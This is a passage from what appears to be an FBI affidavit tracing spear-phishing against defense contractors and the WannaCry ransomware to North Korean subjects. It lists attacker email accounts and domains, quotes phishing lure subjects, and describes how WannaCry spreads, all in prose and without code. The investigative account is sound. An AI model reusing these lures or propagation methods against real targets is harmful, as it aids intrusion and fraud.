Korean IP Address #1 (its predecessor, as described in paragraph 36) was used to access a DDNS account that created the DDNS domain tbs.fartit.com. As mentioned in paragraph 170.a, a Contopee sample analyzed by the FBI contained the DDNS domain tbs.fartit.com. That Contopee sample was compiled on February 23, 2015. Notably, the first time that the tbs.fartit.com domain was under the control of the subjects was also on 24 https://www.group-ib.com/blog/lazarus 25 https://www.us-cert.gov/ncas/alerts/TA17-318A 93 https://www.us-cert.gov/ncas/alerts/TA17-318A https://www.group-ib.com/blog/lazarus http:tbs.fartit.com http:tbs.fartit.com http:tbs.fartit.com http:FALLCHILL.25 February 23, 2015, and, after using a Proxy Service IP to begin managing it, it was also controlled using North Korean IP Address #1 on March 4 and 26, 2015. b. The same device used to access the DDNS account managing tbs.fartit.com also was used to access the DDNS account that registered the use of the domain cloud.edns.biz. The Compromised Web Server (discussed above in Part VII, used in connection with the attack on SPE) was observed connecting hundreds of thousands of times between April 2016 and June 2017 to the domain cloud.edns.biz. c. This same Compromised Web Server, which was resolving cloud.edns.biz\xe2\x80\x94which, in turn, was controlled by a subject who had used North Korean IP Address #1\xe2\x80\x94was observed by the FBI being accessed by North Korean IP Address #2 in February, April, May, June, July, and December 2015, and by North Korean IP Address #6 on March 22, 2016. (As mentioned in Part V.A, there was a shift in activity associated with certain North Korean IP addresses used by the subjects in March 2016, such that, for example, activities that were in 2014 and 2015 associated with North Korean IP Addresses #1\xe2\x80\x93#4 shifted to North Korean IP Addresses #5\xe2\x80\x93#8, respectively.) d. This shows that the subjects of this investigation have access to both the computer networks assigned North Korean IP Addresses #5 (formerly #1) and North Korean IP Address #6 (formerly #2) and have used both in furtherance of their computer intrusions. 198. This use of the same North Korean IP addresses, in addition to the use of NESTEGG in the intrusions at Bangladesh Bank (and elsewhere) and the Polish financial sector, shows that the subjects at issue in this affidavit were also responsible for carrying out these watering hole attacks. 94 http:tbs.fartit.com IX. TARGETING OF OTHER VICTIMS 199. In addition to the subjects\xe2\x80\x99 cyber-targeting and intrusions of SPE and financial institutions worldwide, the evidence indicates that the subjects have also targeted and attempted to penetrate U.S. defense contractors, at least one U.S. university, U.S. academic researchers, U.S. energy companies, and virtual currency exchanges worldwide using spear-phishing emails. In particular, the connections between those previously discussed attacks/intrusions and the targeting of U.S. defense contractors includes use of the same social media and email accounts; the same monikers; and the same operational infrastructure, such as IP addresses. Facts related to some of these intrusions and attempted intrusions are discussed below. A. Initial Discovery of Defense Contractor Targeting 200. The email account MrDavid0818@gmail.com was created on October 29, 2015 using the name \xe2\x80\x9cDavid andoson\xe2\x80\x9d (the \xe2\x80\x9cAndoson David\xe2\x80\x9d alias, reversed) and using tty198410@gmail.com as its recovery email. The same device accessed both MrDavid0818@gmail.com and watsonhenny@gmail.com between December 14, 2015, and May 13, 2016. On March 12, 2016, a LinkedIn account was created using the email address MrDavid0818@gmail.com and the name \xe2\x80\x9cAndoson David.\xe2\x80\x9d That LinkedIn account then sent LinkedIn invitation requests to dozens of individuals, including employees at aerospace companies in the United States and Israel, including specifically Lockheed Martin Corporation (\xe2\x80\x9cLockheed Martin\xe2\x80\x9d). a. Later in 2016, the user of the email account [J NAME REDACTED]@yandex.com sent an email to MrDavid0818@gmail.com asking about what appeared to be source code for a particular business project. [J NAME REDACTED]@yandex.com then also contacted [Z NAME REDACTED]@yandex.com about having arrived and seeking help. 95 mailto:REDACTED]@yandex.com mailto:REDACTED]@yandex.com mailto:MrDavid0818@gmail.com mailto:REDACTED]@yandex.com mailto:MrDavid0818@gmail.com mailto:watsonhenny@gmail.com mailto:MrDavid0818@gmail.com mailto:tty198410@gmail.com mailto:MrDavid0818@gmail.com 201. Lockheed Martin is the prime contractor for the Terminal High Altitude Area Defense (\xe2\x80\x9cTHAAD\xe2\x80\x9d) system, a missile-defense system. As was publicly reported, in July 2016, the United States and the South Korean military agreed to deploy a THAAD system in South Korea, and multiple media outlets publicly reported that a part of the THAAD system arrived in South Korea in March 2017. Evidence collected by the FBI indicates that spear-phishing emails were sent to various employees of defense contractors at various times through 2016 and 2017, at least some of which contained explicit references to THAAD. As discussed below, although the subjects have continued to target Lockheed Martin with repeated waves of spear-phishing, the FBI has not obtained any evidence from Lockheed Martin itself nor from any other sources in the course of the investigation that show any of the subjects\xe2\x80\x99 unauthorized intrusion attempts at Lockheed Martin have been successful. 202. The FBI alerted Lockheed Martin to this apparent targeting, and a cyber analyst at Lockheed Martin in turn informed the FBI of other email accounts that Lockheed Martin had observed being used to send spear-phishing messages to its employees between April 29 and May 20, 2016. The analyst later informed me of subsequent waves of spear-phishing messages beginning in early-July 2016 and late-August 2016. The subjects\xe2\x80\x99 accounts that were used to send spear-phishing messages to Lockheed Martin included campbelldavid793@gmail.com, goo19874@gmail.com, stevegell77@gmail.com, and uiwon0608@daum.net, among other purported Lockheed Martin employees (discussed below). In some instances, the same accounts were used to send spear-phishing messages in more than one \xe2\x80\x9cwave.\xe2\x80\x9d In other instances, the subjects registered new social media accounts using email accounts from a previous wave of targeting Lockheed Martin employees, and in still other instances the subjects used entirely new accounts to send spear- phishing messages. 96 mailto:uiwon0608@daum.net mailto:stevegell77@gmail.com mailto:goo19874@gmail.com mailto:campbelldavid793@gmail.com 203. That same Lockheed Martin analyst also indicated that he was confident that the spear-phishing messages originated from the same group identified in the publicly available \xe2\x80\x9cOperation Blockbuster\xe2\x80\x9d report26 that discussed an attack on SPE. One factor that he pointed to was his analysis of the malware used to target Lockheed Martin, which showed it tried to communicate using a FakeTLS signature, a common feature of malware identified in the \xe2\x80\x9cOperation Blockbuster\xe2\x80\x9d report and a tactic also employed in the intrusion at Bangladesh Bank. 204. Other Lockheed Martin cyber analysts provided further information regarding spear-phishing campaigns between February 2017 and May 2017, which originated from numerous accounts that purported to be from persons who worked in the recruiting and in the executive search industries, in an apparent attempt by the subjects to craft convincing spear-phishing emails. B. Connections Between Accounts Used to Target Defense Contractors, and with Accounts Used to Target SPE 205. I and others at the FBI conducted internet research for information connected to the email accounts that had been used by the subjects to send spear- phishing emails to Lockheed employees. Based on those searches, I learned the following: a. On December 4, 2015, a user named \xe2\x80\x9chwa5403\xe2\x80\x9d posted on the website hackforums.net that he or she was \xe2\x80\x9clooking for a silent doc exploit,\xe2\x80\x9d and requested that responsive information be sent to campbelldavid793@gmail.com. b. The same user, hwa5403, also posted on hackforums.net on December 22, 2015: \xe2\x80\x9cI am testing phishing gmail but it goes to spam directly. Can anybody send me a sample phishing mail doesn\xe2\x80\x99t go to spam directory? My mail 26 https://www.operationblockbuster.com/wp- content/uploads/2016/02/Operation-Blockbuster-Report.pdf 97 https://www.operationblockbuster.com/wp http:hackforums.net mailto:campbelldavid793@gmail.com http:hackforums.net addr is gooteam1000@gmail.com.\xe2\x80\x9d 206. Campbelldavid793@gmail.com was created by \xe2\x80\x9cCampbell David\xe2\x80\x9d on November 11, 2015, using the recovery email address hwa5403@daum.net, and was accessed from North Korean IP Address #6. This account received emails from adobesystems.com and wordzen.com in August and September 2016. The user of the account also showed interest in aerospace companies and technologies, and read a Washington Post article on the North Korean military threat. The address book for campbelldavid793@gmail.com had also saved in its contacts dozens of Lockheed Martin employees\xe2\x80\x99 email addresses. 207. Provider records show the email account hwa5403@daum.net, a South Korean email account, was used in November 2015 to send spear-phishing emails to numerous individuals that focus on East Asia and Korean policy matters and, in 2016, the account sent spear-phishing messages to employees of two South Korean technology companies. (The email address hwa5403@daum.net was also used to create an account at a DDNS provider and registered a DDNS domain.) Those records also showed the account hwa5403@daum.net was accessed from North Korean IP Address #6 and North Korean IP Address #7 in 2016. North Korean IP Address #7 in particular was used to access hwa5403@daum.net and send spear- phishing messages on November 14, 2016, the same day that same IP address\xe2\x80\x94 North Korean IP Address #7\xe2\x80\x94was used to access South Korean email addresses bangsong8519@daum.net and uiwon0608@daum.net (discussed in paragraphs 209 and 210, and paragraphs 202 and 219, respectively). (The three South Korean email accounts were also accessed from North Korean IP Address #6 on other days throughout 2016, with all three accounts accessed from North Korean IP Address #6 on August 31, 2016, and overlapping log-ins on other days as well.) As discussed below in paragraphs 307 and 314, North Korean IP Address #7 was used to access 98 mailto:uiwon0608@daum.net mailto:bangsong8519@daum.net mailto:hwa5403@daum.net mailto:hwa5403@daum.net mailto:hwa5403@daum.net mailto:hwa5403@daum.net mailto:campbelldavid793@gmail.com http:wordzen.com http:adobesystems.com mailto:hwa5403@daum.net mailto:Campbelldavid793@gmail.com mailto:gooteam1000@gmail.com Chosun Expo Accounts approximately two weeks later on December 1 and 2, 2016, and has been used since then as well. 208. A series of emails in July 2016 revealed additional tactics used by the subjects, as well as connections between the accounts used to target Lockheed Martin and the accounts used in the previously discussed cyber-attack on SPE and cyber-heist from Bangladesh Bank and intrusions at other financial institutions. a. First, \xe2\x80\x9cDavid Campbell\xe2\x80\x9d sent an email from campbelldavid793@gmail.com titled \xe2\x80\x9cInvitation to dinner\xe2\x80\x9d to multiple email addresses, including gooteam73@gmail.com, diver.jacker@gmail.com (a Brambul collector email account, see paragraph 41) and [FC NAME REDACTED]@gmail.com (an email address that, like campbelldavid793@gmail.com, used hwa5403@daum.net as its recovery email). In August 2016, [FC NAME REDACTED]@gmail.com, which was accessed during that same month from North Korean IP address #6, exchanged what appear to be test spear-phishing emails with tty198410@gmail.com. b. Several days later, gooteam73@gmail.com sent an email titled \xe2\x80\x9cWelcome to drive\xe2\x80\x9d to campbelldavid793@gmail.com that contained an embedded link to \xe2\x80\x9chttp://www.[DOMAIN REDACTED].com/x/o?u=2cfb0877-eaa9-4061-bf7e- a2ade6a30d32&c=374814.\xe2\x80\x9d (As described above, Google Drive is a remote file storage service, and this email was likely drafted as a test to see how the link might appear to an unknowing victim, while the subject line was one that might appear as if the email had been sent by Google. The domain corresponded to the email tracking service referred to above in paragraph 58.) c. An apparent test spear-phishing email was also sent from campbelldavid793@gmail.com to gooteam1612@gmail.com on July 22, 2016, with a subject of \xe2\x80\x9cMalicious activities are detected\xe2\x80\x9d and multiple non-Google (and likely malicious) hyperlinks were embedded in the email in places where Google would 99 mailto:gooteam1612@gmail.com mailto:campbelldavid793@gmail.com http://www.[DOMAIN mailto:campbelldavid793@gmail.com mailto:gooteam73@gmail.com mailto:tty198410@gmail.com mailto:REDACTED]@gmail.com mailto:hwa5403@daum.net mailto:campbelldavid793@gmail.com mailto:REDACTED]@gmail.com mailto:diver.jacker@gmail.com mailto:gooteam73@gmail.com mailto:campbelldavid793@gmail.com normally provide links to \xe2\x80\x9cTerms of Service\xe2\x80\x9d and instructions on how to mitigate these \xe2\x80\x9cmalicious activities.\xe2\x80\x9d 209. The email account goo19874@gmail.com (which was one of the accounts that had sent spear-phishing messages to Lockheed Martin employees) was created on December 9, 2015, used the name \xe2\x80\x9cGoogle Info\xe2\x80\x9d and the South Korean recovery email address of bangsong8519@daum.net (which email address was accessed from North Korean IP Address #6 and North Korean IP Address #7 during 2016), and was used to register other email accounts that sent spear- phishing messages to Lockheed Martin, including stevegell77@gmail.com and diver.jacker@gmail.com). The account was accessed from North Korean IP Address #6, and its user had conducted online research into Lockheed Martin and hacking Gmail accounts. Its address book had saved in its contacts Lockheed Martin employees\xe2\x80\x99 email addresses. The account was accessed by the same device as campbelldavid793@gmail.com, among others. The account had sent numerous spear-phishing emails to alumni of universities in southern California, and received emails from an email tracking service used by the subjects (a service referred to in paragraph 58). 1. Connection to mrwangchung01@gmail.com 210. As noted above, stevegell77@gmail.com sent spear-phishing emails to Lockheed Martin, and shared a common subscriber email (the South Korean email account bangsong8519@daum.net) with other email accounts that did the same. It was also accessed by the same device as mrwangchung01@gmail.com. a. As discussed above, mrwangchung01@gmail.com is the Brambul collector email account that (i) was accessed by the same device as watsonhenny@gmail.com, as well as a device that accessed tty198410@gmail.com, (ii) used watsonhenny@gmail.com as its secondary email account, (iii) received test spear-phishing emails from rasel.aflam@gmail.com just before the spear-phishing 100 mailto:rasel.aflam@gmail.com mailto:watsonhenny@gmail.com mailto:tty198410@gmail.com mailto:watsonhenny@gmail.com mailto:mrwangchung01@gmail.com mailto:mrwangchung01@gmail.com mailto:bangsong8519@daum.net mailto:stevegell77@gmail.com mailto:mrwangchung01@gmail.com mailto:campbelldavid793@gmail.com mailto:diver.jacker@gmail.com mailto:stevegell77@gmail.com mailto:bangsong8519@daum.net mailto:goo19874@gmail.com emails were sent to Bangladesh Bank employees, and (iv) was accessed by North Korean IP Address #6. b. Closer in time to the most recent spear-phishing campaign targeting Lockheed Martin, on February 9, 2017, mrwangchung01@gmail.com was accessed from North Korean IP Address #6. 211. Moreover, [FC NAME REDACTED]@gmail.com\xe2\x80\x94one of the email addresses that exchanged test spear-phishing emails with tty198410@gmail.com and campbelldavid793@gmail.com (used to target Lockheed Martin) and which was accessed from North Korean IP Address #6 in August 2016, as discussed above in paragraph 208.a\xe2\x80\x94sent an email to [K NAME REDACTED]@163.com in 2016. That email was opened by [K NAME REDACTED]@163.com and its user clicked on a link that resulted in a connection with an IP address in Peru. Just hours before that occurred, multiple connections were made from North Korean IP Address #6 to the Peruvian IP address. Earlier in 2016, the user of mrwangchung01@gmail.com, a Brambul collector email account, obtained what appeared to be administrator credentials for that same Peruvian IP address. 2. Connection to @erica_333u 212. As discussed above in paragraph 111, the Twitter account @erica_333u posted the same link to malware that the \xe2\x80\x9cAndoson David\xe2\x80\x9d and \xe2\x80\x9cJohn Mogabe\xe2\x80\x9d Facebook accounts did on Facebook pages related to \xe2\x80\x9cThe Interview.\xe2\x80\x9d One of the registered email addresses for the Twitter account @erica_333u was goffman_david2@aol.com. 213. Goffman_david2@aol.com and [FC NAME REDACTED]@gmail.com used hwa5403@daum.net as their recovery email address, which was the same address that was used to register campbelldavid793@gmail.com. Goffman_david2@aol.com was used to send spear-phishing messages to academic professors and other individuals, at least some of whom had written about North 101 mailto:Goffman_david2@aol.com mailto:campbelldavid793@gmail.com mailto:hwa5403@daum.net mailto:REDACTED]@gmail.com mailto:Goffman_david2@aol.com mailto:goffman_david2@aol.com mailto:mrwangchung01@gmail.com mailto:REDACTED]@163.com mailto:REDACTED]@163.com mailto:campbelldavid793@gmail.com mailto:tty198410@gmail.com mailto:mrwangchung01@gmail.com Korea. It also appears that emails sent from goffman_david2@aol.com were designed by the subjects to appear as if they were sent by someone who was assigned to \xe2\x80\x9cUSFK,\xe2\x80\x9d which is a common abbreviation for U.S. Forces Korea. Based on emails received by goffman_david2@aol.com, the subjects had also used the email account to register with the website of another U.S. aerospace firm. 214. Thus, the same email account, goffman_david2@aol.com, was used to subscribe a Twitter account (@erica_333u) that posted a link to malware targeting SPE, and also shared a common recovery email address with an email account that sent spear-phishing messages to Lockheed Martin. 215. Moreover, goffman_david2@aol.com sent a spear-phishing email to what appeared to be an email address affiliated with a policy expert on North Korea, and attached to that email was a version of MACKTRUCK that contained the same static table that was found in versions of MACKTRUCK, Contopee, and WannaCry, as described above in paragraphs 180 through 183. 3. Connection to jongdada02@gmail.com 216. By way of background, jongdada02@gmail.com was accessed most days between May 5 and June 8, 2015 from North Korean IP Address #2. In one instance, on May 28, 2015, that North Korean IP address was also used to access the Compromised Web Server (that was used to disseminate SPE\xe2\x80\x99s data via email, and which stored some of the malware used to target SPE) thirty minutes before it was used to access jongdada02@gmail.com. Provider records indicate that the subject using jongdada02@gmail.com had an interest in topics related to software and computer hacking, and conducted internet research regarding numerous 102 mailto:jongdada02@gmail.com mailto:jongdada02@gmail.com mailto:jongdada02@gmail.com mailto:jongdada02@gmail.com mailto:goffman_david2@aol.com mailto:goffman_david2@aol.com mailto:goffman_david2@aol.com mailto:goffman_david2@aol.com hacking-related topics, including as to specific CVEs and exploits and vulnerabilities in certain fonts.27 217. Multiple email accounts that sent messages during the February 2017 \xe2\x80\x9cwave\xe2\x80\x9d of spear-phishing targeting Lockheed Martin had been registered using jongdada02@gmail.com as the recovery email address. Those accounts included the accounts described in the following paragraphs. Of these email accounts, many used the email tracking service referred to above in paragraph 58, which is used to manage and track emails that are often sent as a part of a campaign and that informs the user when emails are opened. a. One email address, [SW NAME REDACTED]@gmail.com, used the name of a television network and a journalist who appears on that network, in an apparent attempt to trick potential victims into believing that they were receiving emails from that journalist. That email account sent approximately 80 emails with subject lines such as \xe2\x80\x9cConsulting Request \xe2\x80\x93 Fighter Jet Software,\xe2\x80\x9d and \xe2\x80\x9cYour Opinion\xe2\x80\x9d on February 3 and 9, 2017, to approximately 79 Lockheed Martin email accounts. Other email campaigns, likely test campaigns, were sent to other email accounts used by the subjects on February 3, 2017. b. [DJ NAME REDACTED]@gmail.com sent approximately 47 emails on February 21, 2017 to employees of Lockheed Martin with subject lines purporting to be from a \xe2\x80\x9cHiring Director\xe2\x80\x9d at other defense contractors. 27 A related account, amazonriver1990@gmail.com (discussed in paragraph 96), was registered on May 19, 2015 from the same IP address, North Korean IP Address #2, which was used to access the account frequently between May 2015 and August 2015, including in one instance approximately three minutes after the same North Korean IP address was also used to access the Compromised Web Server. The user of that email account, amazonriver1990@gmail.com, also conducted similar internet research. 103 mailto:amazonriver1990@gmail.com mailto:amazonriver1990@gmail.com mailto:REDACTED]@gmail.com mailto:REDACTED]@gmail.com mailto:jongdada02@gmail.com http:fonts.27 c. [ER NAME REDACTED]@gmail.com sent an email on February 9, 2017 with a subject of \xe2\x80\x9cLeadership role opportunity?\xe2\x80\x9d and the name of another defense contractor to approximately 17 Lockheed Martin employees. d. [JB NAME REDACTED]413@gmail.com sent approximately six email campaigns (i.e., each campaign was a separate email to one or multiple recipients),28 with subjects such as \xe2\x80\x9cLeadership role opportunity?\xe2\x80\x9d and the name of another defense contractor between February 9 and 13, 2017. Those campaigns were sent to more than 80 accounts in total, including to Lockheed Martin employees. e. [JC NAME REDACTED]@gmail.com sent more than 48 emails with subjects such as \xe2\x80\x9cHiring Director\xe2\x80\x9d and the name of another defense contractor to approximately 49 Lockheed Martin employees between February 6 and 23, 2017. f. skyfriend202@gmail.com sent emails with a subject of \xe2\x80\x9cReaching Out!\xe2\x80\x9d on February 2, 2017 to approximately 25 Lockheed Martin employees. 218. The subjects have also created additional spear-phishing email accounts that purported to be from Lockheed Martin recruiters for use in spear- phishing campaigns targeting employees at other defense contractors. For instance, in May and June 2017 the subjects created two email accounts purporting to be recruiters at Lockheed Martin ([BM NAME REDACTED]@gmail.com and [MP NAME REDACTED]@gmail.com), and used those accounts to send numerous emails to employees of another defense contractor. Notably, the subjects accessed both email accounts from North Korean IP Address #6. 28 Email campaigns are typically used in marketing, and each email in a campaign is typically sent to numerous recipients with a seemingly identical subject and body. Each recipient in a campaign might be unaware of who the other recipients are. The emails often contain tracking features that inform the sender when activities related to the email are conducted by the recipient, such as when an email is opened or when embedded links are clicked. 104 mailto:REDACTED]@gmail.com mailto:REDACTED]@gmail.com mailto:skyfriend202@gmail.com mailto:REDACTED]@gmail.com mailto:REDACTED]413@gmail.com mailto:REDACTED]@gmail.com 219. As with the email accounts mentioned in the previous paragraph, most of these targeting accounts were accessed from North Korean IP Address #6. Those accounts include campbelldavid793@gmail.com, [BM NAME REDACTED]@gmail.com, [MP NAME REDACTED]@gmail.com, [ER NAME REDACTED]@gmail.com, goo19874@gmail.com, [JB NAME REDACTED]@gmail.com, [JC NAME REDACTED]@gmail.com, [SW NAME REDACTED]@gmail.com, [KB NAME REDACTED]@gmail.com [KK NAME REDACTED]@gmail.com, [LB NAME REDACTED]@gmail.com, skyfriend202@gmail.com, and stevegell77@gmail.com, among others, many of which were impersonating the names of real persons who are journalists or employees at defense contractors. Likewise, uiwon0608@daum.net, the South Korean email address used to send spear-phishing emails, was accessed from North Korean IP Address #6 and North Korean IP Address #7 at various points in 2016. C. Targeting of South Korean Entities 220. Evidence obtained in the investigation indicates that the subjects have a significant interest in South Korean companies and government entities, and have used spear-phishing and social engineering to try to compromise these entities. For example, a Facebook account that was accessed by the same device that was used to access the Facebook account registered to mogbe123456@gmail.com was used to either send friend requests or messages to three South Korean individuals who, based on internet research, appear to be employed by a South Korean secure software provider and on other occasions has sent messages to employees of a major South Korean technology company. Other evidence indicates that the subjects conducted significant internet reconnaissance for employees of United States and South Korean military entities, including for employees of specific fleets and divisions within each. 105 mailto:mogbe123456@gmail.com mailto:uiwon0608@daum.net mailto:stevegell77@gmail.com mailto:skyfriend202@gmail.com mailto:REDACTED]@gmail.com mailto:REDACTED]@gmail.com mailto:REDACTED]@gmail.com mailto:REDACTED]@gmail.com mailto:REDACTED]@gmail.com mailto:REDACTED]@gmail.com mailto:goo19874@gmail.com mailto:REDACTED]@gmail.com mailto:REDACTED]@gmail.com mailto:REDACTED]@gmail.com mailto:campbelldavid793@gmail.com X. WANNACRY GLOBAL RANSOMWARE A. WannaCry Ransomware Attacks 221. On March 14, 2017, Microsoft released a patch for a Server Message Block (SMB) vulnerability that was identified as CVE-2017-0144 on its website, https://technet.microsoft.com/en-us/library/security/ms17-010.aspx. Microsoft attempted to remedy the vulnerability by releasing patches to versions of Microsoft Windows operating systems that Microsoft supported at the time. Patches were not initially released for older versions of Windows that were no longer supported, such as Windows XP and Windows 8. 222. The next month, on April 15, 2017, an exploit that targeted the CVE- 2017-0144 vulnerability (herein the \xe2\x80\x9cCVE-2017-0144 exploit\xe2\x80\x9d) was publicly released by a group calling itself the \xe2\x80\x9cShadow Brokers.\xe2\x80\x9d 223. On April 18, 2017 and April 21, 2017, a senior security analyst at private cyber security company RiskSense, Inc. (\xe2\x80\x9cRiskSense\xe2\x80\x9d) posted research on that exploit on his website: https://zerosum0x0.blogspot.com. 224. On May 9, 2017, RiskSense released code on the website github.com with the stated purpose of allowing legal \xe2\x80\x9cwhite hat\xe2\x80\x9d penetration testers to test the CVE-2017-0144 exploit on unpatched systems. Essentially, RiskSense posted source code that its employees had reverse-engineered for the CVE-2017-0144 exploit, which cyber security researchers could then use to test vulnerabilities in client computer systems. I know based on my training and experience that penetration testers regularly seek to exploit vulnerabilities with their customers\xe2\x80\x99 consent as a proof-of-concept to demonstrate how hackers could illegally access their customers\xe2\x80\x99 systems. 225. On May 12, 2017, a ransomware attack called \xe2\x80\x9cWannaCry\xe2\x80\x9d (later identified as \xe2\x80\x9cWannaCry Version 2,\xe2\x80\x9d as discussed below) began affecting computers around the globe. Those infected computers included many at the United 106 http:github.com http:https://zerosum0x0.blogspot.com https://technet.microsoft.com/en-us/library/security/ms17-010.aspx Kingdom\xe2\x80\x99s National Health Service (\xe2\x80\x9cNHS\xe2\x80\x9d), as I have learned from officers at the United Kingdom\xe2\x80\x99s National Crime Agency (\xe2\x80\x9cNCA\xe2\x80\x9d), and numerous victims in the United States. According to information provided to the FBI by the NCA, at least 80 out of 236 NHS trusts (organizations serving a particular function or geographic area) across England were affected either because they were infected or because they had to disconnect as a precaution; at least 37 NHS \xe2\x80\x9ctrusts\xe2\x80\x9d were in fact infected with WannaCry. An additional 603 primary care or other NHS organizations were infected. National coordination was undertaken during this major incident and remedial action was taken by local organizations to address the vulnerability and the spread of the malware to prevent further infections. There was no patient harm reported during the incident, but the effects included 6,912 appointments that were cancelled (and subsequently re-scheduled) between May 12 and 18, 2017, and 1,220 (approximately 1%) pieces of diagnostic equipment across the NHS that were affected by WannaCry. No NHS organizations paid the ransom, consistent with advice not to do so that was given by NHS during the incident. Other reports, including those by Europol, have indicated that hundreds of thousands of computers in more than 150 countries have been affected by the WannaCry Version 2 ransomware. Numerous victims within the Central District of California were infected with the WannaCry Version 2 ransomware in the days immediately after it was released, based on records relating to the IP addresses that tried to resolve a lengthy domain embedded in the code of the malware during that period of time. Based on how WannaCry operates, those computers would not have tried to resolve that domain unless the malware had infected their computers.29 29 Although some security researchers began \xe2\x80\x9cself-infecting\xe2\x80\x9d their computers and/or analyzing the malware and the domain contained within it, those occurrences were a very slim fraction of the total instances of infection or traffic to the domain in the days immediately after the attack began. 107 http:computers.29 226. Unlike most ransomware, which typically encrypts important files on a computer and then charges the victim a ransom to recover the files, it does not appear that victims of the WannaCry Version 2 ransomware have been able to actually decrypt their files by paying the ransom; instead, the files remain encrypted and inaccessible. The WannaCry Version 2 ransomware was also different from most other ransomware attacks in that\xe2\x80\x94at least after the initial computer was infected\xe2\x80\x94it does not appear that it was targeting any particular victim(s) as it spread. Instead, it was designed to self-propagate as a worm (using the SMB CVE-2017-0144 vulnerability) and continually infect additional vulnerable computers. Specifically, the malware contained separate functions to identify and infect computers vulnerable to the CVE-2017-0144 exploit on the computer\xe2\x80\x99s Local Area Network (\xe2\x80\x9cLAN\xe2\x80\x9d), as well as computers accessible over the internet. a. The malware targeted other computers on each victim computer\xe2\x80\x99s LAN by querying the victim computer\xe2\x80\x99s network configuration to determine the range of IP addresses that constituted the LAN, then iteratively attempted to connect to each IP address in the LAN to determine whether there was a vulnerable computer located at that address. If there was, the malware would attempt to infect that computer. b. The malware further targeted computers on the internet by randomly generating a target IP address outside the victim\xe2\x80\x99s LAN and attempting to connect to it. If the connection was successful, the malware would then iteratively attempt to connect to IP addresses with a number near the target IP address\xe2\x80\x99s (i.e., an IP address that may be in the same network). For each successful connection, the malware would determine whether there was a vulnerable computer available, and if so, attempt to infect it. The malware further contained a timer mechanism to slowly change the range of IP addresses that it targeted in order to continually, randomly seek out new victims on the internet. 108 227. Private cyber security company BAE Systems conducted research on this version of WannaCry, and reported30 that at least part of the code released by RiskSense on May 9, 2017 was likely duplicated into the WannaCry Version 2 ransomware, suggesting the hackers behind WannaCry Version 2 were aware of and had accessed the code provided by RiskSense. 228. In the days following the WannaCry Version 2 infections on May 12, 2017, security researchers from multiple companies (such as Symantec, BAE Systems, and Kaspersky) publicly identified previous versions of the WannaCry ransomware that did not include the self-propagation component. In other words, those earlier versions of the ransomware did not use the SMB vulnerability to spread. Those earlier versions thus did not spread widely, nor had they gained the notoriety of the May 12, 2017 version (i.e., Version 2), given that they affected relatively few victims. 229. For example, according to a May 22, 2017 report by Symantec,31 these earlier WannaCry attacks occurred in February 2017 (referred to therein as \xe2\x80\x9cVersion 0\xe2\x80\x9d and previously mentioned in Part VIII.D.4) and March and April 2017 (referred to therein as \xe2\x80\x9cVersion 1\xe2\x80\x9d). These earlier WannaCry versions were nearly identical to the May 12, 2017 self-propagating version (referred to as \xe2\x80\x9cVersion 2\xe2\x80\x9d), with the most notable difference being the way the malware spreads. Versions 0 and 1 did spread, but only across infected victim networks by using stolen user credentials, meaning that the attackers would need to have already compromised a network and obtained user credentials to allow either Version 0 or 1 to spread; the malware did not propagate across the internet. Version 2, the only WannaCry version that used the SMB CVE-2017-0144 exploit described above, was able to 30 http://baesystemsai.blogspot.com/2017/05/wanacrypt0r-ransomworm.html 31 https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks- show-strong-links-lazarus-group 109 https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks http://baesystemsai.blogspot.com/2017/05/wanacrypt0r-ransomworm.html spread to any unpatched computer on the internet that was allowing inbound connections via vulnerable Microsoft SMB versions, or to computers that were connected to a network in which another computer was allowing these inbound connections to vulnerable SMB versions. This new CVE-2017-0144 exploit is why WannaCry Version 2 spread so quickly, affected computers in so many countries, and was thus so widely publicized. As described below, Symantec also reported that earlier versions of the WannaCry ransomware were linked to the Lazarus Group. 230. The following sections discuss two key points. a. First, as described in more detail in Part X.B below, evidence indicates that the same author or authors created WannaCry Versions 0, 1, and 2. This is based on the facts that: i. most core components of Versions 1 and 2, excluding the propagation capability, are nearly identical to each other; and Version 0 is also largely similar to Versions 1 and 2; ii. the source code for Versions 0 and 1 does not appear to be currently publicly available, let alone to have been publicly available at the time that Version 2 was released; iii. similar passwords were used in all three versions; iv. several forensic artifacts link the three versions; and v. Bitcoins that victims of Versions 1 and 2 paid the subjects to decrypt their computers were subsequently cashed out and transferred using browsers with the same exact User-Agent string,32 and the Bitcoin \xe2\x80\x9ccashouts\xe2\x80\x9d followed a similar pattern of laundering. 32 In internet web browsing using HTTP, a User-Agent string is used to detect specific information about the client system, software, and browser making the request, which allows the web server to choose how to optimally provide data back to the client. For example, the website may present a slightly different version for a computer visiting that site when it is using a Mac operating system versus when the computer visiting the site is using a Windows operating system. 110 b. Second, as discussed in more detail in Parts X.C\xe2\x80\x93X.D below, evidence indicates that all three WannaCry versions were authored by the North Korean subjects of this investigation. This is based on the facts that: i. Version 0 used the identical FakeTLS table (discussed above) that was found in a passive state in malware used by the subjects in the other intrusions discussed in this affidavit, suggesting that these different pieces of malware were compiled by author(s) who had access to the same library of code; ii. Version 0 (which did not spread widely) and two variants of the \xe2\x80\x9cDestover\xe2\x80\x9d malware\xe2\x80\x94malware that the Symantec report indicated was related to the malware used in connection with the SPE cyber-attack\xe2\x80\x94were found infecting the computer network of a single victim; iii. an IP used for command and control by the malware that spread Version 1 (a dropper referred to as Backdoor.Bravonc or Trojan.Bravonc) was also compromised by the Brambul worm and used by the subjects of this investigation to access an account (i.e., rasel.aflam@gmail.com) used in connection with intrusions at other victims discussed in this affidavit; iv. the above-mentioned malware that spread Version 1 and other malware attributed to the Lazarus Group have similarities and also use similar infrastructure; v. an IP address used for command-and-control in connection with Version 1 was accessed by North Korean IP addresses in 2016; and vi. subjects using North Korean IP Address #6 were reading information regarding the development of code that would exploit the CVE-2017- 0144 vulnerability that was used in WannaCry Version 2. B. Similarities in the Three Versions of WannaCry 231. I learned from an FBI computer scientist and several private sector security companies\xe2\x80\x99 published reporting that most components of WannaCry 111 mailto:rasel.aflam@gmail.com Versions 0, 1, and 2 are substantively identical in both form and function across the different versions. In function, each version encrypts the files on a victim\xe2\x80\x99s computer and presents a demand for Bitcoin. In form, the operation of the programming components of each version work in the same way. This alone is a strong indication that the author(s) of WannaCry Version 2 were also the author(s) of WannaCry Version 1. a. Both Versions 1 and 2 encrypt a victim\xe2\x80\x99s files using a piece of malware (the \xe2\x80\x9cencryption tool\xe2\x80\x9d) that is stored on the victim computer\xe2\x80\x99s hard drive in an encrypted 